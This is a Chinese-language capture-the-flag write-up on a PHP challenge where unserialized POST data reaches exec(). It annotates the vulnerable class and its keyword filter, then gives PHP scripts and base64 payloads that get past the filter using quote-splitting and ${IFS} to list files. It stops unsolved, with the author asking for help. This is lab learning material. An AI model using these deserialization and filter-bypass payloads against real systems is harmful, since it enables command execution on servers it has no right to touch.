1.信息收集:
2.思路:
1.代码审计: 把代码彻底弄懂;
<?php
highlight_file(__FILE__); //当前文件的源代码进行高亮显示。
class ease{
private $method;
//private:私有访问修饰符,表示成员变量或方法只能在当前类中被访问,无法在子类或其他地方访问;
//public:公共访问修饰符,表示成员变量或方法可以在任何地方被访问。
//protected:受保护的访问修饰符,表示成员变量或方法只能在当前类或其子类中被访问
private $args;
function __construct($method, $args) {
//构造函数__construct用于初始化成员变量
$this->method = $method;
//$this 是一个特殊的关键字,用于在类的内部引用当前对象。
/*$this->method表示当前对象的method成员变量,赋值操作=构造函数
的参数$method的值赋给$this->method。*/
$this->args = $args;
}
function __destruct(){ //__destruct方法在对象销毁时自动被调用;
/*首先检查$method是否为数组["ping"]中的一个元素,是,则通过call_user_func_array调用
类中名为ping的方法,并将参数数组$args传入。*/
if (in_array($this->method, array("ping"))) {
//array()创建一个数组 //in_array() 检查一个值是否存在于数组
//in_array() 函数接受两个参数:要查找的值和要搜索的数组。它会遍历数组中的每个元素,
//并判断是否有元素的值与要查找的值相等
call_user_func_array(array($this, $this->method), $this->args);
/*array($this, $this->method)表示一个回调函数,其中$this表示当前对象,$this->method表示对象的方法名。这个回调函数表示调用当前对象的指定方法。
$this->args是一个数组,包含要传递给方法的参数。*/
//call_user_func_array函数将会调用第一个参数指定的回调函数,并将第二个参数$this->args作为参数传递给该函数。
}
}
function ping($ip){
exec($ip, $result);//exec() 函数接受两个参数:要执行的命令和一个用于存储命令输出的变量,并不直接返回命令的输出结果,而是将其存储到提供的变量中
var_dump($result); //打印$result的值
}
function waf($str){
/*类的waf方法接收一个名为$str的参数,用于实现一个简单的防火墙功能。
它使用preg_match_all函数检查$str是否包含一些特定的字符或字符串,如|、&、;、/、cat、flag、tac、php和ls。
如果不包含这些字符或字符串,则返回原始输入$str。否则,输出"don't hack"。*/
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
//preg_match_all()在字符串中执行正则表达式匹配,并返回所有匹配结果。
/*preg_match_all(string $pattern, string $subject, array &$matches, int $flags = 0, int $offset = 0): int|false
$pattern:要匹配的正则表达式模式。
$subject:要在其中进行匹配的字符串。
$matches:用于存储匹配结果的数组变量。
$flags:可选参数,用于指定匹配模式的标志。
$offset:可选参数,用于指定匹配的起始位置。
*/
/*返回值:
如果preg_match_all函数返回false,即str中不包含匹配的字符或关键字,返回原字符串str;*/
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
/*__wakeup方法在对象被序列化后被调用,用于对成员变量$args进行处理。
它遍历$args数组,并对每个元素调用waf方法进行过滤,过滤后的结果再替换原有的$args元素值。*/
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
/*使用 foreach 循环遍历this->args数组中的每个元素。对于每个元素,调用
this−>args数组中的每个元素。对于每个元素,调用this->waf()方法进行处理,并将处理后的结果赋值给
v)方法进行处理,并将处理后的结果赋值给this->args数组的相应元素。*/
}
}
}
$ctf=@$_POST['ctf']; /*$_POST 是一个预定义的 PHP 超全局变量,用于接收通过 POST 方法提交的表单数据。
$_POST['ctf'] 表示从 $_POST 数组中获取名为 ctf 的元素的值。@ 符号是 PHP 中的错误控制运算符,用于抑制错误和警告信息的输出。*/
@unserialize(base64_decode($ctf));//代码尝试对$ctf参数进行反序列化操作,通过base64_decode函数解码后调用unserialize函数进行反序列化
?>
没有对$ctf参数进行有效性检查和过滤,这段代码存在安全风险,可能导致代码注入和命令执行漏洞。
2.写个脚本,用这个类,向类中传入参数:
1.与数组匹配,第一个参数“ping”;
2.绕过简单的防火墙,用“”,‘’,
<?php
$a = new ease("ping",array(""));//call_user_func_array(callback, param_arr)函数第二个参数必需是数组
$b = serialize($a);
/*一个对象被序列化后才能被反序列化;但我们还得序列化后对其进行编码;
可以先对编码后再序列化吗?
$b = base64_encode($a);
echo serialize($b);
这样是不行,序列化是将对象转换为字符串的过程,而编码是将字符串转换为另一种表示形式的过程,不能颠倒;*/
echo $b;
?>
/*序列化结果:O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:0:"";}}
O:4:"ease":2: 类名为ease的对象,4表示类名的长度,2表示对象属性的数量。
s:12:"easemethod"; 表示第一个属性名为easemethod,12表示属性名的长度。
s:4:"ping"; 表示easemethod属性的值为ping,4表示属性值的长度。
s:10:"easeargs"; 表示第二个属性名为easeargs,10表示属性名的长度。
a:1:{i:0;s:0:"";} 表示easeargs属性的值为一个数组,其中1表示数组元素的数量,i:0表示数组的索引为0,s:2:""表示数组的值为"",0表示值的长度。*/
脚本代码:
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array(""));
$b = serialize($a);
echo $b;
$c = base64_encode($b);
echo "\n";
echo $c;
?>
得到的结果是:

$a = new ease("ping",array("''"));
双引号里有单引号时:返回 array(0) { } 返回了一个空数组;
该过滤字符:
$a = new ease("ping",array('""'));
单引号里有双引号;返回结果:don't hackNULL
总结以上教训发现绕过字符这点很是重要!!!
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
preg_match_all函数检查$str是否包含一些特定的字符或字符串,如|、&、;、/、cat、flag、tac、php和ls。
如果不包含这些字符或字符串,则返回原始输入$str。否则,输出"don't hack"。
这个过滤中我可以用双引号,单引号;但我使用为什么会失败呢?
这里很特殊,又不是写一些特殊字符,让它错误的认为代码,或构成新代码来进行绕过,它只是一种与字符串比较进行匹配,只要没有包含|、&、;、/、cat、flag、tac、php和ls。应该可以我想;那为什么不可以???
突然想到Linux中有一种绕过方式:就是Linux中,ls可以显示当前目录中的所有文件,如果l""s同样可以查看,这就是绕过点;
现在是三种:单引号,双引号,${}符合;
改变过滤字符:
$a = new ease("ping",array('l""s'));
这样改变一下上面的脚本代码,再去执行,得到payload:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
最终得到比较理想的结果:
去查看flag_1s_here文件,命令:
脚本做修改一下:同样查看该文件夹下的文件有哪些,格式:<命令> 文件名
但这里命令与文件之间有空格,怎么办,用${IFS} 这是特殊的环境变量,在Unix/linux 用来字段分割符;
$a=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
同样得到新的payload:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
这发现有一个后缀php的文件,我们得打开这个文件,同样:但打开文件的命令cat,tac 都被过滤了,只能想其它办法;
我真不知道怎么绕过了 有大佬请指教!我以后再补,头疼;